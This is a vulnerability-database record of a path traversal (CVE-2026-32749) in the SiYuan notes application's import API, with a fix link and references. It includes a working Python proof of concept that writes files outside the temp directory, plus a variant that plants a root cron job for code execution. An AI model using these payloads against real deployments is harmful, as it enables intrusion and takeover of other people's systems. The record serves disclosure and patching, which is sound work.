{"id":"CVE-2026-32749","aliases":["GHSA-qvvf-q994-x79v","GO-2026-4707"],"url":"https://o3.security/vulnerability/CVE-2026-32749","summary":"SiYuan importSY/importZipMd: Path Traversal via multipart filename enables arbitrary file write","details":"### Summary\nPOST /api/import/importSY and POST /api/import/importZipMd write uploaded archives to a path derived from the multipart filename field without sanitization, allowing an admin to write files to arbitrary locations outside the temp directory - including system paths that enable RCE.\n\n### Details\nFile: kernel/api/import.go - functions importSY and importZipMd\n\n```go\nfile := files[0]\nwritePath := filepath.Join(util.TempDir, \"import\", file.Filename)\nwriter, err := os.OpenFile(writePath, os.O_RDWR|os.O_CREATE, 0644)\n```\n\nimportZipMd has a second traversal in unzipPath construction:\n```go\nfilenameMain := strings.TrimSuffix(file.Filename, filepath.Ext(file.Filename))\nunzipPath    := filepath.Join(util.TempDir, \"import\", filenameMain)\ngulu.Zip.Unzip(writePath, unzipPath)\n```\n\nfilepath.Join calls filepath.Clean internally, but cleaning happens after concatenation - sufficient ../ sequences escape the base directory entirely. The curl tool sanitizes ../ in multipart filenames, so exploitation requires sending the raw HTTP request via Python requests or a custom client.\n\n### PoC\n**Environment:**\n```bash\ndocker run -d --name siyuan -p 6806:6806 \\\n  -v $(pwd)/workspace:/siyuan/workspace \\\n  b3log/siyuan --workspace=/siyuan/workspace --accessAuthCode=test123\n```\n\n**Exploit:**\n```python\nimport requests, zipfile, io\n\nHOST  = \"http://localhost:6806\"\nTOKEN = \"YOUR_ADMIN_TOKEN\"\n\nbuf = io.BytesIO()\nwith zipfile.ZipFile(buf, 'w') as z:\n    z.writestr(\"TestNB/20240101000000-abcdefg.sy\",\n        '{\"ID\":\"20240101000000-abcdefg\",\"Spec\":\"1\",\"Type\":\"NodeDocument\",\"Children\":[]}')\n    z.writestr(\"TestNB/.siyuan/sort.json\", \"{}\")\nbuf.seek(0)\n\nr = requests.post(f\"{HOST}/api/import/importSY\",\n    headers={\"Authorization\": f\"Token {TOKEN}\"},\n    files={\"file\": (\"../../data/TRAVERSAL_PROOF.zip\", buf.read(), \"application/zip\")},\n    data={\"notebook\": \"YOUR_NOTEBOOK_ID\", \"toPath\": \"/\"})\n\nprint(r.text)\n```\n\n**RCE via cron (root container):**\n```python\ncron = b\"* * * * * root touch /tmp/RCE_CONFIRMED\\n\"\nr = requests.post(f\"{HOST}/api/import/importSY\",\n    headers={\"Authorization\": f\"Token {TOKEN}\"},\n    files={\"file\": (\"../../../../../etc/cron.d/siyuan_poc\", cron, \"application/zip\")},\n    data={\"notebook\": \"NOTEBOOK_ID\", \"toPath\": \"/\"})\n```\n\n**Confirmed response on v3.6.0:** {\"code\":0,\"msg\":\"\",\"data\":null}\n\n### Impact\nAn admin can write arbitrary content to any path writable by the SiYuan process:\n- RCE via /etc/cron.d/ (root containers), ~/.bashrc, SSH authorized_keys\n- Data destruction by overwriting workspace or application files\n- In Docker containers running as root (common default), this grants full container compromise","published":"2026-03-19T21:07:57.841Z","modified":"2026-08-12T03:51:43.010954499Z","cvss":{"score":7.6,"severity":"HIGH","vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:L/I:H/A:N"},"epss":null,"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"Go","name":"github.com/siyuan-note/siyuan/kernel","fixedVersion":null}],"fix":{"url":"https://github.com/siyuan-note/siyuan/commit/5ee00907f0b0c4aca748ce21ef1977bb98178e14","label":"siyuan-note/siyuan@5ee0090"},"references":[{"type":"WEB","url":"https://github.com/siyuan-note/siyuan/releases/tag/v3.6.1"},{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/32xxx/CVE-2026-32749.json"},{"type":"ADVISORY","url":"https://github.com/siyuan-note/siyuan/security/advisories/GHSA-qvvf-q994-x79v"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-32749"},{"type":"FIX","url":"https://github.com/siyuan-note/siyuan/commit/5ee00907f0b0c4aca748ce21ef1977bb98178e14"},{"type":"PACKAGE","url":"https://github.com/siyuan-note/siyuan"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-08-12T03:51:43.010954499Z"}}